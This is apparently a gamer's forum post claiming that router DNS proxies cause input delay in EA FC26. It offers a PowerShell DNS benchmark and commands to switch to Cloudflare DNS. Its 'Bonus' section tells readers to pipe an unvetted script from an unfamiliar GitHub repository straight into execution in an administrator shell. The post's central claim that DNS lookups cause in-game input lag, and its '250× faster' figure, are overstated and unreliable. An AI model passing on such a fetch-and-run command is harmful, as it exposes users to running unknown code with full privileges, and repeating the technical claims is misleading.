I FIXED INPUT DELAY!

EA FC26 / FIFA – How to Fix Massive Input Delay (even with a powerful PC)

Hey everyone,
after weeks of testing, I found why many people with good PCs and low ping still have insane input delay in EA FC26 (and other online games).
Spoiler: it’s not your hardware — it’s your router’s DNS proxy.

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What’s really happening

Most ISPs (like KPN, Ziggo, BT, etc.) use your router as a DNS relay.
That means every time your PC connects to EA’s servers, the DNS request goes:

Your PC → Router → ISP → EA server

Those router-based DNS proxies are extremely slow (often 500–2500 ms per lookup).
That delay happens before the game even starts sending data — which makes it feel like your inputs are lagging or “sticking”.

I measured it myself:

DNS | Avg latency | Result Router / KPN default | 2325 ms | Terrible – causes heavy input delay KPN external (ISP) | 700–1000 ms | Slow Quad9 (9.9.9.9) | 14 ms | Fast Cloudflare (1.1.1.1) | 8–9 ms | Extremely fast Google (8.8.8.8) | 15–20 ms | Decent

After switching from the router’s DNS to Cloudflare → my input delay completely disappeared.
Menus were instant, gameplay felt crisp, and connection stayed stable.

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How to check your own DNS speed

Open PowerShell as Administrator and paste this:

# DNS Benchmark v1.0 - tests Cloudflare, Quad9, Google, OpenDNS & your router DNS
$servers = @(
  @{Name='Router/Default'; Addr=(Get-DnsClientServerAddress -AddressFamily IPv4 | Select-Object -First 1).ServerAddresses[0]},
  @{Name='Cloudflare'; Addr='1.1.1.1'},
  @{Name='Quad9'; Addr='9.9.9.9'},
  @{Name='Google'; Addr='8.8.8.8'},
  @{Name='OpenDNS'; Addr='208.67.222.222'}
)
$domains = @('ea.com','microsoft.com','cloudflare.com','openai.com')

Write-Host "`n=== DNS Benchmark ===`n"
$results=@()
foreach($s in $servers){
  $times=@()
  foreach($d in $domains){1..3|%{
    try{$t=Measure-Command{Resolve-DnsName -Server $s.Addr -Name $d -Type A -ErrorAction Stop|Out-Null}
      $times+=$t.TotalMilliseconds}catch{$times+=$null}
  }}
  $ok=$times|?{$_}
  $avg=if($ok){[math]::Round(($ok|Measure-Object -Average).Average,2)}else{$null}
  $results+=[pscustomobject]@{DNS=$s.Name;Server=$s.Addr;AvgMs=$avg}
}
$results|Sort-Object AvgMs|Format-Table -AutoSize
Write-Host "`nLower = faster. Under 50 ms = excellent. If your router DNS shows hundreds or thousands of ms, disable DNS proxy in your modem and set manual DNS (1.1.1.1 / 1.0.0.1)."

That will show which DNS servers are fast and which are painfully slow.

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How to fix it

1. Open PowerShell as Administrator
2. Set Cloudflare DNS manually:

Set-DnsClientServerAddress -InterfaceAlias "Ethernet" -ServerAddresses ("1.1.1.1","1.0.0.1")

(Replace "Ethernet" with your connection name if needed) 3. Flush the cache:

ipconfig /flushdns

4. Restart your PC.

Optional but recommended:

• In your router settings, look for DNS proxy, DNS relay or Local DNS and turn it OFF.
• Some routers hide this option; if you can’t find it, just forcing DNS manually (step 2) already bypasses it.

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What happens after fixing it

• DNS lookups go from 2000 ms → 8 ms
• No more invisible delay between your button press and in-game action
• Matchmaking and menus load instantly
• Ping stays low and stable

It’s literally 250× faster just by bypassing the router’s slow DNS layer.

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TL;DR

If you have:

• High-end PC
• Great internet
• Still massive input lag in EA FC / FIFA

It’s probably your router’s DNS proxy slowing everything down. Switch to Cloudflare (1.1.1.1 / 1.0.0.1) or Quad9 (9.9.9.9 / 149.112.112.112) and flush DNS.

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Bonus – Advanced network test

For full network quality (ping, jitter, loss, TCP handshake, DNS, MTU):

irm https://raw.githubusercontent.com/nettoolszone/netcheck/main/net_health.ps1 | iex

This checks your entire connection and gives you a health score out of 100.

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Summary for gamers

• Router DNS proxies = hidden lag factory
• ISP DNS = slow & filtered
• Cloudflare or Quad9 = best for gaming
• Low ping doesn’t always mean low input delay
• Fixing DNS can make your gameplay feel like a new game